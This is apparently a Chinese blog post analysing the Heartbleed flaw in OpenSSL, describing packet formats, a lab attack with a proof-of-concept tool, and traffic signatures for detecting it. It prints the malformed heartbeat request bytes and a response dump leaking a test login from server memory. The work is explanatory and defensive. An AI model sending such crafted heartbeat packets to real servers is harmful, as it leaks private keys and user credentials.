Heartbleed心脏出血漏洞原理分析

2017年01月14日 18:14:25

阅读数:2718

1. 概述

   OpenSSL在实现TLS和DTLS的心跳处理逻辑时,存在编码缺陷。OpenSSL的心跳处理逻辑没有检测心跳包中的长度字段是否和后续的数据字段相符合,攻击者可以利用这一点,构造异常的数据包,来获取心跳数据所在的内存区域的后续数据。这些数据中可能包含了证书私钥,用户名,用户密码,用户邮箱等敏感信息。该漏洞允许攻击者从内存中读取多达64KB的数据。

2. 数据包分析

   SSL(Secure Socket Layer 安全套接层)及其继任者传输层安全(Transport Layer Security,TLS)是为网络通信提供安全及数据完整性的一种安全协议。TLS和SSL在传输层对网络连接进行加密。所以通过SSL或TLS协议加密后的数据包再通过wireshark软件进行对数据包的抓取时,抓取到的数据也是经过加密处理的数据。
   DTLS(Datagram Transport Layer Security)数据包传输层安全协议。TLS不能用来保证UDP上传输的数据的安全,因此Datagram TLS试图在现存的TLS协议架构上提出扩展,使之支持UDP,即成为TLS的一个支持数据报传输的版本。DTLS1.0基于TLS1.1,DTLS1.2基于TLS1.2
   心脏出血漏洞主要通过攻击者模拟向服务器端发送自己编写的Heartbeat心跳数据包,主要是HeartbeatMessage的长度与payload的length进行匹配,若payload_lenght长度大于HeartbeatMes sage的length,则会在服务器返回的response响应包中产生数据溢出,造成有用数据泄露。

TLS数据包格式

心跳包字段 长度 说明
ContentType 1byte 心跳包类型,IANA组织把type编号定义为24(0x18)
ProtocolVersion 2bytes TLS的版本号,目前主要包括含有心跳扩展的TLS版本:TLSv1.0,TLSv1.1,TLSv1.2
length 2bytes HeartbeatMessage的长度
HeartbeatMessageType 1byte Heartbeat类型 01表示heartbeat_request 02表示heartbeat_response
payload_length 2bytes payload长度
payload payload_length个bytes payload的具体内容
padding >=16bytes padding填充,最少为16个字节

DTLS数据包格式

心跳包字段 长度 说明
ContentType 1byte 心跳包类型,IANA组织把type编号定义为24(0x18)
ProtocolVersion 2bytes DTLS的版本号,DTLS1.0基于TLS1.1,DTLS1.2基于TLS1.2
epoch 2bytes 为一个计数器,每一个加密状态改变时加一。主要用来区分在一个多次重新协商的情况,多个记录包文可能会具有相同的序列号,因此再用这个域来区分,接收者可以用来区分不同的包。epoch初始值为0,每发送一个changeCipherSpec消息后加一
sequence_number 6bytes 记录层的序列号,在每一个ChangeCipherSpec消息发送之后,sequence_number都设置为0
length 2bytes HeartbeatMessage的长度
HeartbeatMessageType 1byte Heartbeat类型 01表示heartbeat_request 02表示heartbeat_response
payload_length 2bytes payload长度
payload payload_length个bytes payload的具体内容
padding >=16bytes padding填充,最少为16个字节

2.1 探测数据包

   心脏出血漏洞必须在含有心跳扩展和漏洞没有被修复的版本中存在,目前存在OpenSSL心血漏洞的OpenSSL版本有OpenSSL1.0.1,1.0.1a,1.0.1b,1.0.1c,1.0.1d,1.0.1e,1.0.1f,Beta 1 of OpenSSL1.0.2等。具体流程如下:

  • 搭建含有OpenSSL心脏出血漏洞靶机环境(具体靶机搭建操作详情请看文档:heartbleed靶机环境搭建)
  • 搭建拥有数据交互的https网站(Apache+MySQL+PHP5+HTTPS)
  • 心脏出血漏洞主要存在于OpenSSL的心跳机制里,判断OpenSSL有没有开启心跳扩展,并开启心跳扩展机制。
  • 在客户端对虚拟机中搭建的靶场页面进行访问,同时在客户端中通过POC程序对靶场进行攻击
  • 通过wireshark对攻击的请求包和响应包进行捕获

4.1.1 请求包

TLS数据包(Hex)


18 03 02 00 03 01 40 00

分析

由于SSL记录协议位于某个可靠的传输协议(例如TCP)上面由于数据通过SSL加密处理后显示乱码,我们通过wireshark抓取的数据包主要通过16进制显示,所以像heartbeat_Request的数据包主要分为四部分:(1)数据包帧头部分(在数据包中占14个字节)
(2)IPv4网络层部分(数据包中占20字节)
(3)TCP传输层部分(数据包中占20字节)
图片中方框标注的部分即为通过SSL加密的心跳数据包部分:
Content Type:Heartbeat 24(0x18)
Version:TLS1.1(0x0302)
Length:3(0x0003)
HeartbeatMessage:
Type:Request(0x01)
payload Length:16384(0x4000)
payload
padding and HMAC
payload和padding都为空,利用漏洞将后面内存中的数据dump下来

2.1.2 响应包

TLS数据包(Hex) 

18 03 02 40 00 02 40 00 d8 03 02 53 43 5b 90 9d …@..@….SC[..
9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc .r….+..H…9..
16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14 ……w.3….f..
c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f …”.!.9.8……
c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 …5…………
00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e …………….
00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04 .3.2…..E.D….
00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05 ./…A……….
00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06 …………….
00 03 00 ff 01 00 00 49 00 0b 00 04 03 00 01 02 …….I……..
00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c …4.2……….
00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07 …………….
00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02 …………….
00 03 00 0f 00 10 00 11 00 23 00 00 00 0f 00 01 ………#……
01 6b 87 3c 2a f7 db 30 ef 5c d2 68 0f 8b c6 10 .k.<*..0..h….
37 2e 33 36 0d 0a 41 63 63 65 70 74 3a 20 74 65 7.36..Accept: te
78 74 2f 68 74 6d 6c 2c 61 70 70 6c 69 63 61 74 xt/html,applicat
69 6f 6e 2f 78 68 74 6d 6c 2b 78 6d 6c 2c 61 70 ion/xhtml+xml,ap
70 6c 69 63 61 74 69 6f 6e 2f 78 6d 6c 3b 71 3d plication/xml;q=
30 2e 39 2c 69 6d 61 67 65 2f 77 65 62 70 2c 2a 0.9,image/webp,*
2f 2a 3b 71 3d 30 2e 38 0d 0a 52 65 66 65 72 65 /*;q=0.8..Refere
72 3a 20 68 74 74 70 73 3a 2f 2f 31 39 32 2e 31 r: https://192.1
36 38 2e 31 39 37 2e 31 32 38 2f 63 68 65 63 6b 68.197.128/check
2e 70 68 70 3f 6e 61 6d 65 3d 79 61 6f 66 65 69 .php?name=yaofei
26 70 61 73 73 77 6f 72 64 3d 31 32 33 34 35 36 &password=123456
0d 0a 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e ..Accept-Encodin
67 3a 20 67 7a 69 70 2c 20 64 65 66 6c 61 74 65 g: gzip, deflate
2c 20 73 64 63 68 2c 20 62 72 0d 0a 41 63 63 65 , sdch, br..Acce
70 74 2d 4c 61 6e 67 75 61 67 65 3a 20 7a 68 2d pt-Language: zh-
43 4e 2c 7a 68 3b 71 3d 30 2e 38 0d 0a 0d 0a 9d CN,zh;q=0.8…..
47 d4 f2 b4 2e dc 63 f7 4c 28 bb 43 71 41 ca 00 G…..c.L(.CqA..
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………….
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………….
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………….
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………….
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………….
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………….
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………….
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………….
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………….

分析

(上图中为通过wireshark抓取的heartbeat_Response数据包的模块化展示,同样数据包分为帧头部分,IPv4网络层部分,TCP传输层部分以及SSL返回的数据部分)
图下数据为返回的心跳数据包详情展示,由于数据长度为16384个字节太长不好显示这边只截取一部分数据进行展示
18 03 02 40 00 02 40 00为响应包数据特征:
0x18表示SSL数据包类型为心跳包
0x0302表示TLS的版本号:Version(TLSv1.1)
0x4000表示返回的数据包长度(16384)
0x02表示返回的心跳消息类型(Response)
0x4000表示返回的payload_length(16384)
剩余的数据即为通过心脏出血漏洞从内存中dump下来的数据(payload和padding) 
由于请求包(Request)中的长度为0x0003(3)但是要返回的payload_length为0x4000(16384),所以响应包(Response)返回的数据长度为0x4000(16384)即漏洞攻击成功。

3. 特征总结

   OpenSSL心脏出血漏洞(heartbleed)的产生主要由于OpenSSL的心跳处理逻辑没有检测心跳包中的长度字段是否和后续字段相吻合导致攻击者构造异常数据包,来直接获取心跳数据所在的内存区域的后续数据。主要特征有:

  • heartbleed漏洞主要存在于有心跳机制的OpenSSL协议中。
  • IANA组织把开启心跳扩展机制的SSL数据包type类型定义为24(0x18)。
  • heartbleed漏洞主要存在于TLS和DTLS两种协议中,在含有heartbleed漏洞的OpenSSL协议中需要开启心跳扩展机制(beartbeat),而含有心跳扩展机制的TLS版本主要包含在TLSv1.0(0x0301),TLSv1.1(0x0302),TLSv1.2(0x0303)三种版本中。
  • heartbleed漏洞攻击主要由于攻击者构造异常的心跳数据包,即心跳包中的长度字段与后续的数据字段不相符合,来获取心跳数据所在的内存区域的后续数据。

   综上所述我们可以通过对线网中的数据首先进行判断是否为含有OpenSSL的数据包,同时通过对数据包中的type类型判断数据包是否为心跳数据包,然后对TLS的版本进行匹配找到相应的含有心跳扩展机制的心跳数据包,最后通过对心跳包中的数据实际长度与长度字段定义的值比较,如果实际长度小于定义的长度则该数据包即为含有heartbleed漏洞的数据包。

4. 含有SSL加密的协议

协议 默认端口 说明
SMTPS 465 (SMTP-over-SSL)协议发送邮件协议
HTTPS 443 安全套接字层超文本传输协议
NNTPS 563 通过安全套接字层的网络新闻传输协议
LDAPS 636 通过安全套接字层的轻型目录访问协议
ftps 990 通过ssl加密的ftp协议
IMAPS 993 邮件接收协议
POP3S 995 邮件接收协议

5. 参考资料

   Openssl “心血” 漏洞分析.

   Ubuntu下Apache https安装和配置.

   Openssl漏洞POC学习.

Heartbleed心脏出血漏洞原理分析的更多相关文章

  1. OpenSSL心脏出血漏洞全回顾

    近日网络安全界谈论的影响安全最大的问题就是Heartbleed漏洞,该漏洞是4月7号国外黑客曝光的.据Vox网站介绍,来自Codenomicon和谷歌安全部门的研究人员,发现OpenSSL的源代码中存 ...

  2. CVE2016-8863libupnp缓冲区溢出漏洞原理分析及Poc

    1.libupnp问题分析: (1)问题简述: 根据客户给出的报告,通过设备安装的libupnp软件版本来判断,存在缓冲区溢出漏洞:CVE-2016-8863. (2)漏洞原理分析: 该漏洞发生在up ...

  3. 关于“心脏出血”漏洞(heartbleed)的理解

    前阵子“心脏出血”刚发生的时候读了下源代码,给出了自己觉得比较清楚的理解.   -------------------------穿越时空的分割线--------------------------- ...

  4. 打印机PCL漏洞原理分析

    0x01 漏洞概要 PCL代表打印机控制语言(Printer Control Language),由惠普公司开发,并被广泛使用的一种打印机协议.关于另一种页面描述语言,应该提一提由Adobe设计的Po ...

  5. 对OpenSSL心脏出血漏洞的试验

    1.安装OpenSSL环境 sudo apt-get install openssl sudo pip install pyopenssl(中间会提示ffi.h 没有那个文件或目录,sudo apt- ...

  6. Spring4Shell的漏洞原理分析

    Spring框架最新的PoC 这两天出来的一个RCE漏洞,但是有以下的条件限制才行: 必须是jdk9及以上 必须是部署在tomcat的应用 是springmvc的或者webflux的应用 具体的可以查 ...

  7. OpenSSL Heartbleed “心脏滴血”漏洞简单攻击示例

    OpenSSL Heartbleed漏洞的公开和流行让许多人兴奋了一把,也让另一些人惊慌了一把. 单纯从攻击的角度讲,我已知道的,网上公开的扫描工具有: 1.  Nmap脚本ssl-heartblee ...

  8. OpenSSL Heartbleed "心脏滴血"漏洞简单攻击示例

    转自:http://www.lijiejie.com/openssl-heartbleed-attack/ OpenSSL Heartbleed漏洞的公开和流行让许多人兴奋了一把,也让另一些人惊慌了一 ...

  9. 【漏洞复现】CVE-2022–21661 WordPress核心框架WP_Query SQL注入漏洞原理分析与复现

    影响版本 wordpress < 5.8.3 分析 参考:https://blog.csdn.net/qq_46717339/article/details/122431779 在 5.8.3 ...

随机推荐

  1. 用a标签实现submit提交按钮的效果

    今天做了一个小项目练手,要求点击a标签后实现post提交的效果,看到这个的时候心理还是有一丝丝懵逼的,不过在朕的十秒钟思考之后有了头绪... 首先表单 <form action="te ...

  2. lambda函数的特性

    lambda表达式可以理解为一种抽象的函数实现方法,这种方式只有最基本的三个步骤:给与参数,表达式实现,返回结果.这种方式非常干净,减少了内存的使用,整个程序少了函数的污染,代码格式也会更为简练.但在 ...

  3. 关于APS在企业生产计划上的应用

    本人本身是一个码农,已经服务了共和国各项事业(好像是说得有点漂,没办法段子看多了)大约一半工作时候了(按60岁退休的话),从一线的小码农,到现在成了老农,出产了不少或优或劣的各种码,几乎啥都做过.近几 ...

  4. vue+窗格切换+田字+dicom显示_03

    环境:vue+webpack+cornerstone ide:vs code 需求:窗格设置+拼图设置 代码: 主体:printPage.vue <div class="div mid ...

  5. Python与设计模式之创建型模式及实战

    用Python学习一下设计模式,如果很枯燥的话,就强行能使用的就用一下.设计模式参考Python与设计模式-途索 1. 单例模式 保证一个类仅有一个实例,并提供一个访问它的全局访问点. import ...

  6. win7 英文版 中文乱码

    win7 为了使用英文的 pcb 软件,把语言包改为英文版后,碰到一部分中文会变成乱码.通过下面方法可以识别: control panel --> region and language --& ...

  7. delete content on the right of cursor, Mac

    delete content on the right of cursor, Mac It's not convenient to press Fn+delete to delete content ...

  8. jmeter压测之添加负载机

    jmeter压测基本介绍一般基准测试(基准测试时间一般为5分钟)后压测的时间是10-15分钟: 实施测试之前要拿到测试指标 例如:tps要达到多少响应时间要达到多少并发数要达到多少TPS :服务端每秒 ...

  9. java细节知识

    代码优化细节 (1)尽量指定类.方法的final修饰符 带有final修饰符的类是不可派生的.在Java核心API中,有许多应用final的例子,例如java.lang.String,整个类都是fin ...

  10. input输入限制

    1:只能输入两位小数点:function keepTwoPointNum(that){ var val=that.value; if(isNaN(val)){ $(that).val(''); ret ...